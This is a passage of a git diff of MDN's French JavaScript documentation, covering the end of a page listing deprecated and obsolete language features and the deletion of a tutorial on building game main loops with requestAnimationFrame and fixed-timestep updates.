{{jsxref("RegExp.leftContext", "$`")}}Voir leftContext.
{{jsxref("RegExp.rightContext", "$'")}}Voir rightContext.
{{jsxref("RegExp.input", "input")}}La chaîne par rapport à laquelle on recherche une correspondance grâce à l'expression rationnelle.
{{jsxref("RegExp.lastMatch", "lastMatch")}}Les derniers caractères correspondants.
{{jsxref("RegExp.lastParen", "lastParen")}}La dernière sous-chaîne (groupe entre parenthèses) correspondante si elle existe.
{{jsxref("RegExp.leftContext", "leftContext")}}La sous-chaîne qui précède la correspondance la plus récente.
{{jsxref("RegExp.rightContext", "rightContext")}}La sous-chaîne qui suit la correspondance la plus récente.
- -

Les propriétés qui suivent sont désormais des propriétés des instances de RegExp et ne sont plus des propriétés de l'objet RegExp :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéDescription
{{jsxref("RegExp.global", "global")}}Permet d'utiliser une expression rationnelle pour relever l'ensemble des correspondances ou uniquement la première.
{{jsxref("RegExp.ignoreCase", "ignoreCase")}}Définit si la casse doit être ignorée ou non lors de la recherche d'une correspondance.
{{jsxref("RegExp.lastIndex", "lastIndex")}}L'index à partir duquel chercher la prochaine correspondance.
{{jsxref("RegExp.multiline", "multiline")}}Définit si la recherche doit s'effectuer sur une seule ligne ou plusieurs.
{{jsxref("RegExp.source", "source")}}Le texte du motif.
- -

Méthodes de RegExp

- -
    -
  • La méthode compile est dépréciée.
    • -
  • La méthode valueOf n'est plus spécifiquement liée à RegExp. Utilisez {{jsxref("Object.valueOf()")}}.
    • -
- -

Propriétés de Function

- -
    -
  • Les propriétés {{jsxref("Objets_globaux/Function/caller", "caller")}} et {{jsxref("Objets_globaux/Function/arguments", "arguments")}} sont dépréciées car elles permettaient de fuiter l'appelant de la fonction. En lieu et place de la propriété arguments, c'est l'objet {{jsxref("Fonctions/arguments", "arguments")}} qui doit être utilisée (notamment dans les fermetures).
    • -
- -

Générateur historique

- -
    -
  • {{jsxref("Instructions/Legacy_generator_function", "L'instruction pour le générateur historique")}} et {{jsxref("Opérateurs/Legacy_generator_function", "l'expression de fonction du générateur historique")}} sont dépréciées. Il faut utiliser {{jsxref("Instructions/function*", "L'instruction function* ")}} et {{jsxref("Opérateurs/function*", "l'expression function*")}} à la place.
    • -
  • {{jsxref("Opérateurs/Compréhensions_de_tableau", "Les compréhensions de tableaux JS1.7/JS1.8", "#Diff.C3.A9rences_avec_les_compr.C3.A9hensions_pr.C3.A9c.C3.A9dentes_JS1.7.2FJS1.8")}} et {{jsxref("Opérateurs/Compréhensions_de_générateur", "les compréhensions de générateurs JS1.7/JS1.8", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} sont dépréciées.
    • -
- -

Itérateur

- -
    -
  • {{jsxref("Objets_globaux/StopIteration", "StopIteration")}} est déprécié.
    • -
  • {{jsxref("Objets_globaux/Iterator", "Iterator")}} est déprécié.
    • -
- -

Méthode d'Object

- -
    -
  • {{jsxref("Object.watch", "watch")}} et {{jsxref("Object.unwatch", "unwatch")}} sont dépréciés. L'objet {{jsxref("Proxy")}} doit être utilisé à la place.
    • -
  • __iterator__ est déprécié.
    • -
  • {{jsxref("Object.noSuchMethod", "__noSuchMethod__")}} est déprécié. {{jsxref("Proxy")}} doit être utilisé à la place.
    • -
- -

Méthodes de Date

- -
    -
  • {{jsxref("Objets_globaux/Date/getYear", "getYear")}} et {{jsxref("Objets_globaux/Date/setYear", "setYear")}} sont impactés par le « bug de l'an 2000 » et ont été remplacés par {{jsxref("Objets_globaux/Date/getFullYear", "getFullYear")}} et {{jsxref("Objets_globaux/Date/setFullYear", "setFullYear")}}.
    • -
  • {{jsxref("Objets_globaux/Date/toISOString", "toISOString")}} doit être utilisé à la place de la méthode {{jsxref("Global_Objects/Date/toGMTString", "toGMTString")}} qui est dépréciée.
    • -
  • {{jsxref("Objets_globaux/Date/toLocaleFormat", "toLocaleFormat")}} est dépréciée.
    • -
- -

Fonctions

- -
    -
  • {{jsxref("Opérateurs/Expression_de_fermetures", "Les expressions de fermetures", "", 1)}} sont dépréciées. Il faut utiliser {{jsxref("Opérateurs/L_opérateur_function", "function")}} ou {{jsxref("Fonctions/Fonctions_fléchées", "les fonctions fléchées", "", 1)}} à la place.
    • -
- -

Proxy

- -
    -
  • Proxy.create et Proxy.createFunction sont dépréciées. L'API {{jsxref("Objets_globaux/Proxy", "Proxy")}} doit être utilisée à la place.
    • -
  • Les trappes de captures suivantes sont obsolètes : -
      -
    • hasOwn ({{bug(980565)}}, Firefox 33).
      • -
    • getEnumerablePropertyKeys ({{bug(783829)}}, Firefox 37)
      • -
    • getOwnPropertyNames ({{bug(1007334)}}, Firefox 33)
      • -
    • keys ({{bug(1007334)}}, Firefox 33)
      • -
    -
    • -
- -

Séquences d'échappement

- -
    -
  • Les séquences d'échappement octales (\ suivi par un, deux ou trois chiffres octaux) sont dépréciées pour les chaînes de caractères et les littéraux d'expressions rationnelles.
    • -
  • Les fonctions {{jsxref("Objets_globaux/escape", "escape")}} et {{jsxref("Objets_globaux/unescape", "unescape")}} sont dépréciées. Ce sont les méthodes et objets {{jsxref("Objets_globaux/encodeURI", "encodeURI")}}, {{jsxref("Objets_globaux/encodeURIComponent", "encodeURIComponent")}}, {{jsxref("Objets_globaux/decodeURI", "decodeURI")}} ou {{jsxref("Objets_globaux/decodeURIComponent", "decodeURIComponent")}} qui doivent être utilisées pour encoder/décoder les séquences d'échappement des caractères spéciaux.
    • -
- -

Méthodes de String

- -
    -
  • Les méthodes d'enrobage HTML telles que {{jsxref("String.prototype.fontsize")}} et {{jsxref("String.prototype.big")}} sont dépréciées.
    • -
  • {{jsxref("String.prototype.quote")}} a été retiré de Firefox 37.
    • -
  • Le paramètre non-standard flags de {{jsxref("String.prototype.search")}}, {{jsxref("String.prototype.match")}}, et {{jsxref("String.prototype.replace")}} sont dépréciés.
    • -
  • {{jsxref("String.prototype.substr")}} ne sera sans doute pas retiré prochainement mais il est défini dans l'annexe B du standard ECMA-262 dont l'introduction précise clairement que « les développeurs ne devraient pass utiliser ou présupposer l'existence de ces fonctionnalités et de ces comportements lors de l'écriture de nouveau code ECMAScript ».
    • -
- -

Fonctionnalités obsolètes

- -

Ces fonctionnalités sont obsolètes et ont intégralement été retirées de JavaScript. Elles ne peuvent plus être utilisées.

- -

Object

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéDescription
{{jsxref("Objets_globaux/Object/count", "__count__")}}Renvoie le nombre de propriétés énumérables d'un objet défini par l'utillisateur.
{{jsxref("Objets_globaux/Object/Parent", "__parent__")}}Pointe vers le contexte d'un objet.
{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}Évalue une chaine de caractères étant du code JavaScript, dans le contexte de l'objet indiqué.
{{jsxref("Object.observe()")}}Observe les modifications apportées à un objet de façon asynchrone.
{{jsxref("Object.unobserve()")}}Retire les observateurs ajoutés à un objet.
{{jsxref("Object.getNotifier()")}}Crée un objet qui permet de déclencher un changement de façon synthétique.
- -

Function

- - - - - - - - - - - - -
PropriétéDescription
{{jsxref("Objets_globaux/Function/arity", "arity")}}Nombre d'arguments déclarés pour une fonction.
- -

Array

- - - - - - - - - - - - - - - - -
PropriétéDescription
{{jsxref("Array.observe()")}}Observe les modifications apportées à un tableau de façon asynchrone.
{{jsxref("Array.unobserve()")}}Retire les observateurs ajoutés à un tableau.
- -

Number

- -
    -
  • {{jsxref("Number.toInteger()")}}
    • -
- -

ParallelArray

- -
    -
  • {{jsxref("ParallelArray")}}
    • -
- -

Instructions

- -
    -
  • {{jsxref("Instructions/for_each...in", "for each...in")}}, utiliser {{jsxref("Instructions/for...of", "for...of")}} à la place.
    • -
  • La décomposition de variables dans {{jsxref("Instructions/for...in", "for...in")}}, utiliser {{jsxref("Instructions/for...of", "for...of")}} à la place.
    • -
  • Les blocs et expressions let sont obsolètes.
    • -
- -

E4X

- -

Voir la page E4X pour plus d'informations.

- -

Sharp variables

- -

Voir la page sur les variables « Sharp » en JavaScript pour plus d'informations.

diff --git a/files/fr/jeux/anatomie/index.html b/files/fr/jeux/anatomie/index.html deleted file mode 100644 index 61f5534983..0000000000 --- a/files/fr/jeux/anatomie/index.html +++ /dev/null @@ -1,327 +0,0 @@ ---- -title: Anatomie d'un jeu vidéo -slug: Jeux/Anatomie -tags: - - Boucle Principale - - JavaScript - - Jeux - - requestAnimationFrame -translation_of: Games/Anatomy ---- -
{{GamesSidebar}}

  {{IncludeSubnav("/fr/docs/Jeux")}}

- -
-

Cet article se concentre sur l'anatomie et le flux de la plupart des jeux video à partir d'un point de vue technique, concernant la manière dont la boucle principale devrait tourner. Cela aide les débutants dans l'arène du développement à comprendre  ce qui est requis quand il est question de bâtir un jeu et comment les standards du web comme JavaScript leur est offert comme outil. Les programmeurs de jeux expérimentés et nouveaux dans le développement web pourront aussi en tirer bénéfice.

-
- -

Présenter, accepter, interpréter, calculer, repéter

- -

Le but de chaque jeu vidéo est de présenter à (aux) utilisateur(s) une situation, accepter leur entrée, interpréter ces signaux en actions, et calculer une nouvelle situation résultant de ces actes. Les jeux bouclent continuellement à travers ces niveaux, jusqu'à ce qu'une condition finale arrive (comme gagner, perdre, ou quitter le jeu). Sans surprise, ce modèle correspond à la manière dont un moteur de jeu est programmé.

- -

Ces spécificités dépendent du jeu.

- -

Certains jeu maintiennent ce cycle par les entrées du joueur. Imaginez que vous développez un jeu du type "trouvez les différences entre ces deux images". Ces jeux présentent deux images à l'utilisateur; ils accèptent leur clics (ou touchés); ils interprètent l'entrée comme un succès, une erreur, une pause, une interaction de menu, etc.; finalement, ils calculent une scène mise à jour resultant de l'entrée de donnée. La boucle du jeu évolue par l'entrée de l'utilisateur et s'arrête jusqu'à ce qu'il en soumette une nouvelle. C'est plus une approche au coup par coup qui ne demande pas une mise à jour continuelle de chaque image, mais juste quand le joueur réagit.

- -

D'autres jeux demandent un contrôle précis à chaque fraction de seconde. Les principes sont les mêmes avec une légère différence: chaque animation fait progresser le cycle et tout changement d'entrée d'un utilisateur est capturé dès que possible. Ce modèle au coup par image  est implementé dans ce que l'on appelle la boucle principale. Si vos boucles de jeu sont basées sur le temps alors ce sera là-dessus que seront basées vos simulations.

- -

Mais parfois ce n'est pas un contrôle dans le temps. Votre boucle de jeu peut être similaire à l'exemple cherchez les différences et se baser directement sur les entrées. Cela peut être nécessaire d'avoir à la fois les entrées et un temps simulé. Cela peut aussi être basé sur une boucle qui utilise d'autre chose.

- -

Le JavaScript moderne — comme décrit dans les prochaines sections — heureusement, facilite le développement d'une boucle efficace éxécutée une fois par seconde. Bien sûr, votre jeu sera optimisé au long de sa conception. Si quelque chose doit s'apparenter à un évènement peu fréquent alors il sera préférable de briser la boucle principale (mais pas tout le temps).

- -

Construire une boucle principale en JavaScript

- -

JavaScript travaille beaucoup mieux avec des évènements et des fonctions de rappel. Les navigateur modernes s'efforcent d'appeler des méthodes au moment où elles sont nécessaires et mises en pause (ou font leur travail) le reste du temps. Il est de bonne pratique d'attacher votre code au moment le plus approprié. Pensez à quel moment votre fonction à besoin d'être appelée sur un interval de temps strict, à chaque image, ou seulement après que quelque chose se soit passé. Être plus spécifique avec le navigateur quand votre fonction à besoin d'être appelée permet au navigateur d'être optimisé une fois votre boucle appelée. De plus, cela peut rendre votre tâche plus aisée.

- -

Certain programmes ont besoin d'être lancés image-par-image alors pourquoi y attacher quelque chose d'autre que le taux de rafraîchissement du navigateur ? Dans le web, {{ domxref("window.requestAnimationFrame()") }} sera la fondation de bien des boucles principales. Une fonction de rappel doit lui être passée quand elle est appelée. Cette fonction de rappel sera éxécutée à un moment précis avant le prochain rafraîchissement. Voici un exemple d'une simple boucle principale:

- -
window.main = function () {
-  window.requestAnimationFrame( main );
-
-  //Qu'importe ce que votre boucle principale doit faire.
-};
-
-main(); //Débuter le cycle.
- -

Note: Dans chaque méthodes main() présentées ici, nous planifions un nouveau requestAnimationFrame avant de lancer le contenu de notre boucle. Ce n'est pas par accident et c'est considéré comme une meilleure pratique. Appeler le prochain requestAnimationFrame plus tôt assure que le navigateur la recevra à temps pour le planifier convenablement même si vous image courrante rate la fenêtre de synchronisation principale (VSync).

- -

La portion de code ci-dessus comporte deux déclarations. La première créée une fonction comme variable globale appelée main(). Cette fonction effectue un travail et indique aussi au navigateur de s'appeler elle-même au prochain window.requestAnimationFrame(). La seconde déclaration appelle la fonction main(), definie dans la première déclaration. Parceque main() est appelé une fois dans la seconde déclaration et chaque appel de celle-ci la place dans la queue des choses à faire à chaque image, main() est synchronisée à votre taux de rafraîchissement.

- -

Bien sûr, cette boucle n'est pas parfaite. Avant que nous discutions de manières de la modifier, parlons de ce qu'elle fait de bien.

- -

Temporiser la boucle principale avec le rafraîchissement du navigateur permet à votre boucle d'être éxécutée aussi fréquemment que le navigateur à besoin de rafraîchir l'écran. Cela vous permet de contrôler chaque image de votre animation. C'est aussi beaucoup plus simple car main() est la seule fonction qui est bouclée. Dans un jeu de tir à la première personne (ou un jeu équivalent) on présente une nouvelle scène à chaque image. Vous ne pouvez donc pas obtenir quelque chose de plus fluide que cela.

- -

Pourtant n'imaginez pas que les animations requièrent un contrôle image-par-image. De simples animations peuvent être éxécutées, même avec une accélération matérielle, avec des animations CSS et d'autres outils inclus dans le navigateur. Bon nombre vont vous faciliter la vie.

- -

Construire une meilleure boucle principale en Javascript

- -

Il y a deux problèmes évidents avec notre boucle principale précédente: main() pollue l'objet {{ domxref("window") }} (où sont stockées toutes les variables globales) et l'exemple donné ne nous permet pas de stopper la boucle à moins que l'onglet du navigateur ne soit fermé ou rafraîchit. Pour le premier problème, si vous désirez que la boucle principale tourne simplement sans y accéder directement, vous pouvez en crééer une fonction à accès immédiat -(FAI ou "Immediately-Invoked Function Expression - IIFE").

- -
/*
-* Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple
-* s'appuie sur l'insertion automatique de point virgule (ASI). Le navigateur peut alors accidentellement
-* penser que c'est un exemple complet provenant de la ligne précédente. Le point virgule de tête
-* marque le début de notre nouvelle ligne si la précédente n'était pas vide ou complétée.
-*/
-
-;(function () {
-  function main() {
-    window.requestAnimationFrame( main );
-
-    // Contenu de votre boucle principale.
-  }
-
-  main(); // Débute le cycle
-})();
- -

Quand le navigateur passe à travers la FAI, cela va définir votre boucle principale et immédiatement la mettre en file d'attente pour la prochaine image. Cela ne sera attaché à aucun objet et main (ou main() pour les méthodes) sera un nom valide inutilisé dans le reste de l'application, libre d'être défini comme quelque chose d'autre.

- -

Note: En pratique, il est plus courant de prévenir le prochain requestAnimationFrame() avec une déclaration "if", plutôt que d'appeler cancelAnimationFrame().

- -

Pour le second problème, arrêter la boucle principale, vous aurez besoin d'annuler l'appel à main() avec {{ domxref("window.cancelAnimationFrame()") }}. Vous aurez besoin de passer la valeur donneé par cancelAnimationFrame() en référence à requestAnimationFrame() quand elle a été appelée en dernier. Assumons que vos fonctions de jeu et les variables sont bâties dans un espace de nom appelé MyGame. Avec notre dernier exemple étendu, la boucle principale aura maintenant l'air de ceci:

- -
/*
-* Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple
-* s'appuie sur l'insertion automatique de point virgule (ASI). Le navigateur peut alors accidentellement
-* penser que c'est un exemple complet provenant de la ligne précédente. Le point virgule de tête
-* marque le début de notre nouvelle ligne si la précédente n'était pas vide ou complétée.
-*
-* Assumons aussi que MyGame est défini précédemment.
-*/
-
-;(function () {
-  function main() {
-    MyGame.stopMain = window.requestAnimationFrame( main );
-
-    // Contenu de votre boucle principale.
-  }
-
-  main(); // Début du cycle
-})();
- -

Nous avons maintenant une variable déclarée dans l'espace de nom MyGame, que nous appelons stopMain, qui contient la valeur de l'appel de notre boucle principale requestAnimationFrame() la plus récente. À tout moment, nous pouvons stopper la boucle principale en disant au navigateur d'annuler la requête qui correspond à notre valeur.

- -
window.cancelAnimationFrame( MyGame.stopMain );
- -

La clé pour programmer une boucle principale, en JavaScript, est d'attacher n'importe quel évènement qui doit diriger votre action et porter attention aux systèmes interconnectés. Vous pourriez avoir différents composants dirigés par différents évènements. Cela paraît comme d'une complexité inutile mais cela peut être une bonne optimisation (pas nécessairement, bien sûr). Le problème c'est que vous ne programmez pas une boucle principale typique. En Javascript, vous utilisez la boucle principale du navigateur et vous essayez de le faire avec efficacité.

- -

Construire une boucle principale encore plus optimisée en JavaScript

- -

En fin de compte, en JavaScript, le navigateur roule sa propre boucle principale et votre code existe dans certaines de ses étapes. La section ci-dessus décrit des boucles principales qui essaient de ne pas lâcher le contrôle du navigateur. Ces méthodes principales s'attachent à window.requestAnimationFrame(), qui demandent au navigateur le contrôle sur la prochaine image qui arrive. C'est au navigateur de décider de la gestion de sa boucle principale. Les spécifications du W3C en matière de requestAnimationFrame ne définissent pas exactement quand les navigateur doivent éxécuter les rappels de requestAnimationFrame. Cela pourrait être bénéfique car cela laisse aux concepteurs de navigateurs la liberté d'expérimenter les solutions qu'ils pensent être les meilleures au travers du temps.

- -

Les versions modernes de Firefox et Google Chrome (et probablement d'autres)tentent de connecter les rappels de requestAnimationFrame à leur fil principal au tout début de chaque image. De ce fait, le déroulement principal essaye d'être le plus possible comme ci-dessous:

- -
    -
  1. Débuter une nouvelle image (pendant que la précédente est prise en charge par l'affichage).
    2. -
  2. Passer à travers la liste de retours requestAnimationFrame et les appeler.
    3. -
  3. Passer le ramasse-miettes et autres tâches par-images quand les retours ci-dessous cessent de controler le fil principal.
    4. -
  4. Se mettre en veille (à moins qu'un évènement interrompe la sieste du navigateur) jusqu'à ce que le moniteur ne soit prêt pour votre image (VSync) et répète.
    5. -
- -

Vous pouvez considérer que développer une application en temps réél est comme avoir un temps donné pour faire le travail. Toutes les étapes ci-dessus doivent prendre effet toutes les 16.5 millisecondes pour fonctionner avec un affichage de 60Hz. Les navigateurs invoquent leur code aussitôt que possible pour donner un maximum de temps aux calculs. Votre fil principal va souvent débuter par les tâches qui ne sont même pas dans le fil principal (tel que la rasterisation ou les ombrages en WebGL). Les longs calculs peuvent être fait par un Web Worker ou une accélération matérielle en même temps que le navigateur utilise son propre fil principal pour passer le ramasse-miette, ces autres tâches, ou gérer les évènements asynchrones.

- -

Bien que nous ne discutons pas du gain de temps, plusieurs navigateur ont un outil appelé Temps Haute Résolution. L'objet {{ domxref("Date") }} n'est plus la méthode reconnue pour temporiser les évènements car elle est très imprécise et peut être modifiée par l'horloge système. Le Temps Haute Résolution, d'un autre côté, compte le nombre de millisecondes depuis navigationStart (quand le document précédent est déchargé). Cette valeur est retournée en un nombre décimal précis au millième de seconde. Il est connu comme étant {{ domxref("DOMHighResTimeStamp") }} mais, à toutes fins utiles, considérez le comme un nombre décimal à virgule flottante.

- -

Note: Les systèmes (matériels ou logiciels) qui ne sont pas capables d'avoir une précision à la microseconde sont autorisés à fournir une précision à la milliseconde au minimum. Sinon, ils devraient fournir une précision de 0.001ms s'ils en sont capables.

- -

Seule, cette valeur n'est pas très utile, considérant qu'il est relatif à un évènement peu intéressant, mais ils peut quand même être soustrait d'une autre prise de temps pour déterminer plus précisément combien de temps s'est déroulé entre ces deux poins. Pour obtenir une de ces prises de temps, vous pouvez appeler la fonction window.performance.now() et stocker le résultat dans une variable.

- -
var tNow = window.performance.now();
-
- -

Retournons sur le sujet de la boucle principale. Il vous arrivera souvent de vouloir savoir quand votre boucle principale a été invoquée. Parce que cela est commun, la fonction window.requestAnimationFrame() fourni toujours un DOMHighResTimeStamp avec un argument de retour quand elles sont éxécutées. Cela mène à une amélioration de notre boucle précédente.

- -
/*
-* Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple
-* s'appuie sur l'insertion automatique de point virgule (ASI). Le navigateur peut alors accidentellement
-* penser que c'est un exemple complet provenant de la ligne précédente. Le point virgule de tête
-* marque le début de notre nouvelle ligne si la précédente n'était pas vide ou complétée.
-*
-* Assumons aussi que MyGame est défini précédemment.
-*/
-
-;(function () {
-  function main( tFrame ) {
-    MyGame.stopMain = window.requestAnimationFrame( main );
-
-    // Contenu de votre boucle principale.
-    // tFrame, provenant de "function main ( tFrame )", est maintenant un DOMHighResTimeStamp (Temps Haute Résolution du DOM) fourni par rAF.
-  }
-
-  main(); // Débute le cycle
-})();
- -

Plusieurs autres optimisations sont possibles et cela dépend vraiment de ce que votre jeu tente d'accomplir. Le genre de votre jeu va visiblement faire la différence mais il peut être aussi subtil que cela. Vous pourriez dessiner un pixel à la fois sur un canvas ou vous pourriez étager des éléments du DOM (incluant de multiples canvas de WebGL avec des arrières-plans transparents si vous le désirez) en une hierarchie complexe. Chacunes de ces solutions mènera à des contraintes et opportunités différentes.

- -

Il est temps de la... décision

- -

Vous aurez besoin de faire un choix difficile concernant votre boucle principale: comment simuler l'évolution du temps. Si vous désirez un contrôle par image alors vous aurez besoin de déterminer combien sera-t-il nécessaire à votre jeu d'être remis à jour et dessiné. Vous pourriez même vouloir une mise à jour et dessiner à différents taux (de rafraîchissement). Vous aurez aussi besoin de considérer combien comment votre jeu échouera gracieusement si le système de l'utilisateur ne peut soutenir la charge de travail. Commençons par considérer que vous serez capables de gérer les entrées de l'utilisateur et de mettre à jour l'état du jeu à chaque fois que vous dessinez. Nous ramifierons après.

- -

Note: Changer la manière dont votre boucle principale gère le temps est un cauchemar de débuggage, partout. Pensez à vos besoins, précautionneusement, avant de travailler sur votre boucle principale.

- -

De quoi les jeux dans le navigateur devraient avoir l'air

- -

Si votre jeu peut atteindre le maximum du taux de rafraîchissement sur n'importe quel matériel que vous supportez, alors votre travail est plutôt facile. Vous pouvez simplement mettre à jour, effectuer le rendu, et ne rien faire avant la synchronisation verticale (VSync).

- -
/*
-* Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple
-* s'appuie sur l'insertion automatique de point virgule (ASI). Le navigateur peut alors accidentellement
-* penser que c'est un exemple complet provenant de la ligne précédente. Le point virgule de tête
-* marque le début de notre nouvelle ligne si la précédente n'était pas vide ou complétée.
-*
-* Assumons aussi que MyGame est défini précédemment.
-*/
-
-;(function () {
-  function main( tFrame ) {
-    MyGame.stopMain = window.requestAnimationFrame( main );
-
-    update( tFrame ); //Appelez votre méthode de mise à jour. Dans notre cas, nous lui donnons la capture de temps rAF.
-    render();
-  }
-
-  main(); // Start the cycle
-})();
- -

Si le maximum du taux de rafraîchissement ne peut être atteind, les paramètres de qualités pourraient être mis à jour pour rester sous notre gain en temps. L'exemple le plus célèbre de ce concept est le jeu de id Software, RAGE. Ce jeu a retiré à l'utilisateur le contrôle afin de conserver son temps de calcul à environ 16ms (ou environ 60ips). Si le calcul prenait trop de temps alors la résolution serait diminuée, les textures et autres éléments échoueraient au chargement et à l'affichage, et ainsi de suite. Ce cas (non-web) a créé plusieurs hypothèses et faits:

- -
    -
  • Chaque image d'animation compte pour une entrée utilisateur.
    • -
  • Aucune image n'a besoin d'être extrapolée (devinée) car chaque élément à sa propre mise à jour.
    • -
  • Les systèmes simulés peuvent en gros considérer que chaque mise à jour complète est d'environ 16ms.
    • -
  • Permettant à l'utilisateur le contrôle à travers des paramètres serait un cauchemar.
    • -
  • Des moniteur différents apportent des taux de rafraîchissement différents: 30 FPS, 75 FPS, 100 FPS, 120 FPS, 144 FPS, etc.
    • -
  • Des systèmes qui ne sont pas capables de fonctionner avec 60 FPS vont perdre en qualité pour permettre au jeu de rouler à une vitesse optimale (éventuellement, il échouera complètement si cela devient trop bas).
    • -
- -

Autres manières de gérer les besoins du taux de rafraîchissement variable

- -

D'autres méthodes d'approcher le problème existent.

- -

Une technique commune est de mettre à jour la simulation à une fréquence constante et dessiner autant (ou au moins) que le taux actuel le permet. Cette méthode de mise à jour peut continuer à boucler sans se soucier de ce que l'utilisateur voit. Cette méthode peut voir la dernière mise à jour, et quand elle est arrivée. Quand le dessin sait quand il est représenté, et le temps simulé pour la dernière mise à jour, il peut prédire une image plausible à dessiner. Cela n'a pas d'importance si c'est plus fréquent que la mise à jour officielle (ou même moins fréquente). La méthode de mise à jour établis des points de contrôle, autant que le système le permet, la méthode de rendu va dessiner autour de ces intants de temps. Il y a plusieurs manières de séparer la méthode de mise à jour dans les standards du web:

- -
    -
  • Dessiner à chaque requestAnimationFrame et mettre à jour {{ domxref("window.setInterval") }} ou {{ domxref("window.setTimeout") }}. - -
      -
    • Cela utilise le temps du processeur même quand il n'a pas l'attention ou qu'il est minimisé, qu'il ne monopolise pas le fil principal, et est probablement un artefact de la traditionnelle boucle principale (mais plus simple).
      • -
    -
    • -
  • Dessiner à chaque requestAnimationFrame et mettre à jour sur un setInterval ou setTimeout dans un Web Worker. -
      -
    • C'est la même chose que ci-dessus, excepté que la mise à jour ne monopolise pas le fil principal (ni le fil principal ne le monopolise). C'est une solution plus complexe, et ce pourrait être trop de travail pour de simples mises à jours.
      • -
    -
    • -
  • Dessiner à chaque requestAnimationFrame et l'utiliser pour solliciter un Web Worker qui contient la méthode de mise à jour avec la quantité de temps à calculer, s'il y a lieu. -
      -
    • Cela se met en veille jusqu'à ce que requestAnimationFrame est appelée et ne pollue pas le fil principal, et de plus vous ne vous reposez pas sur d'anciennes méthodes. À nouveau, c'est un peu plus complexe que les deux premières options, et débuter chaque mise à jour sera bloqué tant que le navigateur ne décide de lancer les retours rAF.
      • -
    -
    • -
- -

Chacune de ces méthodes ont un compromis similaire:

- -
    -
  • Les utilisateurs peuvent éviter le rendu d'images ou interpoler celles en sus dépendant de leurs performances.
    • -
  • Vous pouvez compter sur tous les utilisateurs mettant à jours les variables non-cosmetiques à la même fréquence constante, moins quelques hoquets.
    • -
  • Beaucoup plus compliquée à programmer que la boucle de base que nous avons vu précédemment.
    • -
  • Les entrées utilisateurs sont complètement ignorées jusqu'à la prochaine mise à jour (même si l'utilisateur à un système rapide).
    • -
  • L'interpolation obligatoire à un défaut de performance obligatoire.
    • -
- -

Une méthode séparée de mise à jour et de dessin pourrait avoir l'air de l'exemple suivant. Pour les besoins de la démonstration, l'exemple est basé sur le troisième point, sans l'utilisation des Web Workers par soucis de lecture (et, soyons honnête, pour faciliter l'écriture).

- -

Note: Cet exemple spécifiquement, aurait besoin d'une relecture.

- -
/*
-* Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple
-* s'appuie sur l'insertion automatique de point virgule (ASI). Le navigateur peut alors accidentellement
-* penser que c'est un exemple complet provenant de la ligne précédente. Le point virgule de tête
-* marque le début de notre nouvelle ligne si la précédente n'était pas vide ou complétée.
-*
-* Assumons aussi que MyGame est défini précédemment.
-*
-*
-* MyGame.lastRender fait le suivi du dernier poinçon de temps fourni par requestAnimationFrame.
-* MyGame.lastTick fait le suivi de la dernière mise à jour. Toujours incrémenté par tickLength.
-* MyGame.tickLength est à quelle fréquence le jeu est mis à jour. C'est 20 Hz (50ms) ici.
-*
-* timeSinceTick est le temps entre un retour de requestAnimationFrame et la dernière mise à jour.
-* numTicks est combien de mises à jour auraient dû avoir lieu entre 2 rendus d'images.
-*
-* render() se voit passé tFrame car il est considéré que la méthode de rendu va calculer
-           combien de temps se sera écoulé depuis la mise à jour la plus récente pour
-           extrapolation (purement cosmétique pour des systèmes rapides). La scène est dessinée.
-*
-* update() calcule l'état du jeu comme point donné dans le temps. Ça devrait toujours être
-           incrémenté par tickLength. C'est l'autorité de l'état du jeu. On lui passe le
-           DOMHighResTimeStamp pour le temps que cela représente (qui, à nouveau, est toujours
-           la dernière mise à jour + MyGame.tickLength qu'une pause ne soit ajoutée, etc.)
-*
-* setInitialState() réalise n'importe quel tâche mise de côté avant que la boucle principale ne doive tourner.
-*                   Ceci est juste un exemple générique d'une fonction que vous devriez ajouter.
-*/
-
-;(function () {
-  function main( tFrame ) {
-    MyGame.stopMain = window.requestAnimationFrame( main );
-    var nextTick = MyGame.lastTick + MyGame.tickLength;
-    var numTicks = 0;
-
-    //Si tFrame < nextTick alors 0 ticks doit être mis à jour (0 est par défaut pour numTicks).
-    //Si tFrame = nextTick alors 1 tick doit être mis à jour (et ainsi de suite).
-    //Note: Comme nous le mentionons dans le sommaire, vous devriez faire un suivi de la taille de numTicks.
-    //S'il est important, alors soit votre jeu est en veille, soit votre machine ne répond plus.
-    if (tFrame > nextTick) {
-      var timeSinceTick = tFrame - MyGame.lastTick;
-      numTicks = Math.floor( timeSinceTick / MyGame.tickLength );
-    }
-
-    queueUpdates( numTicks );
-    render( tFrame );
-    MyGame.lastRender = tFrame;
-  }
-
-  function queueUpdates( numTicks ) {
-    for(var i=0; i < numTicks; i++) {
-      MyGame.lastTick = MyGame.lastTick + MyGame.tickLength; //Maitenant lastTick est ce tick.
-      update( MyGame.lastTick );
-    }
-  }
-
-  MyGame.lastTick = performance.now();
-  MyGame.lastRender = MyGame.lastTick; //Prétendre que le premier dessin était sur la première mise à jour.
-  MyGame.tickLength = 50; //Cela positionne votre simulation pour tourner à 20Hz (50ms)
-
-  setInitialState();
-  main(performance.now()); // Débute le cycle
-})();
- -

Une autre alternative est de simplement faire certaines choses moins souvent. Si une portion de votre boucle de mise à jour est difficile à calculer et intense (en temps), vous devrier considérer réduire sa fréquence et, idéalement, la diviser en portions à travers une période plus allongée. Un exemple implicite de cela est rencontré dans "The Artillery Blog for Artillery Games", où ils ajustent leur taux de création de miettes pour optimiser leur ramasse-miettes. Apparemment, le nettoyage des ressources n'est pas sensible au temps (spécialement si le nettoyage est plus dérangeant que le la miette elle-même).

- -

Cela peut aussi s'appliquer à vos propres tâches. Elles sont de bonnes candidates pour en générer quand les ressources disponibles deviennent un problème.

- -

Sommaire

- -

J'aimerai être clair que rien de ce qu'il y a ci-dessus, ou rien de cela, ne puisse être ce qu'il y a de mieux pour votre jeu. La décision correcte dépend entièrement des compromis que vous êtes prêts (ou pas) à faire. La préocupation est principalement de permuter vers une autre option. Heureusement, je n'en ai pas l'expérience mais j'ai entendu dire que c'est un jeu de cache-cache exténuant.

- -

